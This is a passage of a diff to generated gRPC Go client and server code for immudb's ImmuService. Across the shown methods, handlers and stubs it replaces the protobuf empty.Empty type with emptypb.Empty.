context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) { +func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) { out := new(DatabaseHealthResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseHealth", in, out, opts...) if err != nil { @@ -430,7 +430,7 @@ func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *empty.Empty, return out, nil } -func (c *immuServiceClient) CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*ImmutableState, error) { +func (c *immuServiceClient) CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) { out := new(ImmutableState) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CurrentState", in, out, opts...) if err != nil { @@ -485,8 +485,8 @@ func (c *immuServiceClient) ZScan(ctx context.Context, in *ZScanRequest, opts .. } // Deprecated: Do not use. -func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabase", in, out, opts...) if err != nil { return nil, err @@ -495,8 +495,8 @@ func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, op } // Deprecated: Do not use. -func (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabaseWith", in, out, opts...) if err != nil { return nil, err @@ -541,7 +541,7 @@ func (c *immuServiceClient) DeleteDatabase(ctx context.Context, in *DeleteDataba } // Deprecated: Do not use. -func (c *immuServiceClient) DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) { +func (c *immuServiceClient) DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) { out := new(DatabaseListResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseList", in, out, opts...) if err != nil { @@ -569,8 +569,8 @@ func (c *immuServiceClient) UseDatabase(ctx context.Context, in *Database, opts } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateDatabase", in, out, opts...) if err != nil { return nil, err @@ -588,7 +588,7 @@ func (c *immuServiceClient) UpdateDatabaseV2(ctx context.Context, in *UpdateData } // Deprecated: Do not use. -func (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) { +func (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) { out := new(DatabaseSettings) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/GetDatabaseSettings", in, out, opts...) if err != nil { @@ -615,8 +615,8 @@ func (c *immuServiceClient) FlushIndex(ctx context.Context, in *FlushIndexReques return out, nil } -func (c *immuServiceClient) CompactIndex(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CompactIndex", in, out, opts...) if err != nil { return nil, err @@ -970,7 +970,7 @@ func (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, o return out, nil } -func (c *immuServiceClient) ListTables(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { +func (c *immuServiceClient) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { out := new(SQLQueryResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListTables", in, out, opts...) if err != nil { @@ -1001,27 +1001,27 @@ func (c *immuServiceClient) VerifiableSQLGet(ctx context.Context, in *Verifiable // All implementations should embed UnimplementedImmuServiceServer // for forward compatibility type ImmuServiceServer interface { - ListUsers(context.Context, *empty.Empty) (*UserList, error) - CreateUser(context.Context, *CreateUserRequest) (*empty.Empty, error) - ChangePassword(context.Context, *ChangePasswordRequest) (*empty.Empty, error) - ChangePermission(context.Context, *ChangePermissionRequest) (*empty.Empty, error) - SetActiveUser(context.Context, *SetActiveUserRequest) (*empty.Empty, error) + ListUsers(context.Context, *emptypb.Empty) (*UserList, error) + CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) + ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) + ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) + SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateAuthConfig(context.Context, *AuthConfig) (*empty.Empty, error) + UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateMTLSConfig(context.Context, *MTLSConfig) (*empty.Empty, error) + UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) - CloseSession(context.Context, *empty.Empty) (*empty.Empty, error) - KeepAlive(context.Context, *empty.Empty) (*empty.Empty, error) + CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) + KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) - Commit(context.Context, *empty.Empty) (*CommittedSQLTx, error) - Rollback(context.Context, *empty.Empty) (*empty.Empty, error) - TxSQLExec(context.Context, *SQLExecRequest) (*empty.Empty, error) + Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) + Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) + TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) // Deprecated: Do not use. Login(context.Context, *LoginRequest) (*LoginResponse, error) // Deprecated: Do not use. - Logout(context.Context, *empty.Empty) (*empty.Empty, error) + Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) Set(context.Context, *SetRequest) (*TxHeader, error) VerifiableSet(context.Context, *VerifiableSetRequest) (*VerifiableTx, error) Get(context.Context, *KeyRequest) (*Entry, error) @@ -1033,7 +1033,7 @@ type ImmuServiceServer interface { // NOT YET SUPPORTED Count(context.Context, *KeyPrefix) (*EntryCount, error) // NOT YET SUPPORTED - CountAll(context.Context, *empty.Empty) (*EntryCount, error) + CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) TxById(context.Context, *TxRequest) (*Tx, error) VerifiableTxById(context.Context, *VerifiableTxRequest) (*VerifiableTx, error) TxScan(context.Context, *TxScanRequest) (*TxList, error) @@ -1042,9 +1042,9 @@ type ImmuServiceServer interface { // ServerInfoRequest is defined for future extensions. ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo - Health(context.Context, *empty.Empty) (*HealthResponse, error) - DatabaseHealth(context.Context, *empty.Empty) (*DatabaseHealthResponse, error) - CurrentState(context.Context, *empty.Empty) (*ImmutableState, error) + Health(context.Context, *emptypb.Empty) (*HealthResponse, error) + DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) + CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) VerifiableSetReference(context.Context, *VerifiableReferenceRequest) (*VerifiableTx, error) ZAdd(context.Context, *ZAddRequest) (*TxHeader, error) @@ -1052,29 +1052,29 @@ type ImmuServiceServer interface { ZScan(context.Context, *ZScanRequest) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabase(context.Context, *Database) (*empty.Empty, error) + CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabaseWith(context.Context, *DatabaseSettings) (*empty.Empty, error) + CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) LoadDatabase(context.Context, *LoadDatabaseRequest) (*LoadDatabaseResponse, error) UnloadDatabase(context.Context, *UnloadDatabaseRequest) (*UnloadDatabaseResponse, error) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 - DatabaseList(context.Context, *empty.Empty) (*DatabaseListResponse, error) + DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 - UpdateDatabase(context.Context, *DatabaseSettings) (*empty.Empty, error) + UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 - GetDatabaseSettings(context.Context, *empty.Empty) (*DatabaseSettings, error) + GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) - CompactIndex(context.Context, *empty.Empty) (*empty.Empty, error) + CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) // Streams StreamGet(*KeyRequest, ImmuService_StreamGetServer) error StreamSet(ImmuService_StreamSetServer) error @@ -1089,7 +1089,7 @@ type ImmuServiceServer interface { ReplicateTx(ImmuService_ReplicateTxServer) error SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) - ListTables(context.Context, *empty.Empty) (*SQLQueryResult, error) + ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) } @@ -1098,46 +1098,46 @@ type ImmuServiceServer interface { type UnimplementedImmuServiceServer struct { } -func (UnimplementedImmuServiceServer) ListUsers(context.Context, *empty.Empty) (*UserList, error) { +func (UnimplementedImmuServiceServer) ListUsers(context.Context, *emptypb.Empty) (*UserList, error) { return nil, status.Errorf(codes.Unimplemented, "method ListUsers not implemented") } -func (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateUser not implemented") } -func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePassword not implemented") } -func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePermission not implemented") } -func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method SetActiveUser not implemented") } -func (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateAuthConfig not implemented") } -func (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateMTLSConfig not implemented") } func (UnimplementedImmuServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented") } -func (UnimplementedImmuServiceServer) CloseSession(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented") } -func (UnimplementedImmuServiceServer) KeepAlive(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method KeepAlive not implemented") } func (UnimplementedImmuServiceServer) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method NewTx not implemented") } -func (UnimplementedImmuServiceServer) Commit(context.Context, *empty.Empty) (*CommittedSQLTx, error) { +func (UnimplementedImmuServiceServer) Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) { return nil, status.Errorf(codes.Unimplemented, "method Commit not implemented") } -func (UnimplementedImmuServiceServer) Rollback(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rollback not implemented") } -func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method TxSQLExec not implemented") } func (UnimplementedImmuServiceServer) TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { @@ -1146,7 +1146,7 @@ func (UnimplementedImmuServiceServer) TxSQLQuery(context.Context, *SQLQueryReque func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") } -func (UnimplementedImmuServiceServer) Logout(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Logout not implemented") } func (UnimplementedImmuServiceServer) Set(context.Context, *SetRequest) (*TxHeader, error) { @@ -1176,7 +1176,7 @@ func (UnimplementedImmuServiceServer) Scan(context.Context, *ScanRequest) (*Entr func (UnimplementedImmuServiceServer) Count(context.Context, *KeyPrefix) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method Count not implemented") } -func (UnimplementedImmuServiceServer) CountAll(context.Context, *empty.Empty) (*EntryCount, error) { +func (UnimplementedImmuServiceServer) CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method CountAll not implemented") } func (UnimplementedImmuServiceServer) TxById(context.Context, *TxRequest) (*Tx, error) { @@ -1194,13 +1194,13 @@ func (UnimplementedImmuServiceServer) History(context.Context, *HistoryRequest) func (UnimplementedImmuServiceServer) ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ServerInfo not implemented") } -func (UnimplementedImmuServiceServer) Health(context.Context, *empty.Empty) (*HealthResponse, error) { +func (UnimplementedImmuServiceServer) Health(context.Context, *emptypb.Empty) (*HealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Health not implemented") } -func (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *empty.Empty) (*DatabaseHealthResponse, error) { +func (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseHealth not implemented") } -func (UnimplementedImmuServiceServer) CurrentState(context.Context, *empty.Empty) (*ImmutableState, error) { +func (UnimplementedImmuServiceServer) CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) { return nil, status.Errorf(codes.Unimplemented, "method CurrentState not implemented") } func (UnimplementedImmuServiceServer) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) { @@ -1218,10 +1218,10 @@ func (UnimplementedImmuServiceServer) VerifiableZAdd(context.Context, *Verifiabl func (UnimplementedImmuServiceServer) ZScan(context.Context, *ZScanRequest) (*ZEntries, error) { return nil, status.Errorf(codes.Unimplemented, "method ZScan not implemented") } -func (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabase not implemented") } -func (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabaseWith not implemented") } func (UnimplementedImmuServiceServer) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) { @@ -1236,7 +1236,7 @@ func (UnimplementedImmuServiceServer) UnloadDatabase(context.Context, *UnloadDat func (UnimplementedImmuServiceServer) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteDatabase not implemented") } -func (UnimplementedImmuServiceServer) DatabaseList(context.Context, *empty.Empty) (*DatabaseListResponse, error) { +func (UnimplementedImmuServiceServer) DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseList not implemented") } func (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) { @@ -1245,13 +1245,13 @@ func (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseL func (UnimplementedImmuServiceServer) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) { return nil, status.Errorf(codes.Unimplemented, "method UseDatabase not implemented") } -func (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabase not implemented") } func (UnimplementedImmuServiceServer) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabaseV2 not implemented") } -func (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *empty.Empty) (*DatabaseSettings, error) { +func (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) { return nil, status.Errorf(codes.Unimplemented, "method GetDatabaseSettings not implemented") } func (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) { @@ -1260,7 +1260,7 @@ func (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *Da func (UnimplementedImmuServiceServer) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method FlushIndex not implemented") } -func (UnimplementedImmuServiceServer) CompactIndex(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CompactIndex not implemented") } func (UnimplementedImmuServiceServer) StreamGet(*KeyRequest, ImmuService_StreamGetServer) error { @@ -1299,7 +1299,7 @@ func (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) func (UnimplementedImmuServiceServer) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method SQLQuery not implemented") } -func (UnimplementedImmuServiceServer) ListTables(context.Context, *empty.Empty) (*SQLQueryResult, error) { +func (UnimplementedImmuServiceServer) ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method ListTables not implemented") } func (UnimplementedImmuServiceServer) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) { @@ -1321,7 +1321,7 @@ func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { } func _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1333,7 +1333,7 @@ func _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec fu FullMethod: "/immudb.schema.ImmuService/ListUsers", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).ListUsers(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).ListUsers(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1465,7 +1465,7 @@ func _ImmuService_OpenSession_Handler(srv interface{}, ctx context.Context, dec } func _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1477,13 +1477,13 @@ func _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CloseSession", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CloseSession(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CloseSession(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1495,7 +1495,7 @@ func _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec fu FullMethod: "/immudb.schema.ImmuService/KeepAlive", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).KeepAlive(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).KeepAlive(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1519,7 +1519,7 @@ func _ImmuService_NewTx_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1531,13 +1531,13 @@ func _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Commit", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Commit(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Commit(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1549,7 +1549,7 @@ func _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec fun FullMethod: "/immudb.schema.ImmuService/Rollback", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Rollback(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Rollback(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1609,7 +1609,7 @@ func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1621,7 +1621,7 @@ func _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Logout", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Logout(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Logout(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1789,7 +1789,7 @@ func _ImmuService_Count_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1801,7 +1801,7 @@ func _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec fun FullMethod: "/immudb.schema.ImmuService/CountAll", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CountAll(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CountAll(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1897,7 +1897,7 @@ func _ImmuService_ServerInfo_Handler(srv interface{}, ctx context.Context, dec f } func _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1909,13 +1909,13 @@ func _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Health", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Health(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Health(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1927,13 +1927,13 @@ func _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, d FullMethod: "/immudb.schema.ImmuService/DatabaseHealth", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1945,7 +1945,7 @@ func _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CurrentState", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CurrentState(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CurrentState(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2149,7 +2149,7 @@ func _ImmuService_DeleteDatabase_Handler(srv interface{}, ctx context.Context, d } func _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2161,7 +2161,7 @@ func _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/DatabaseList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DatabaseList(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).DatabaseList(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2239,7 +2239,7 @@ func _ImmuService_UpdateDatabaseV2_Handler(srv interface{}, ctx context.Context, } func _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := 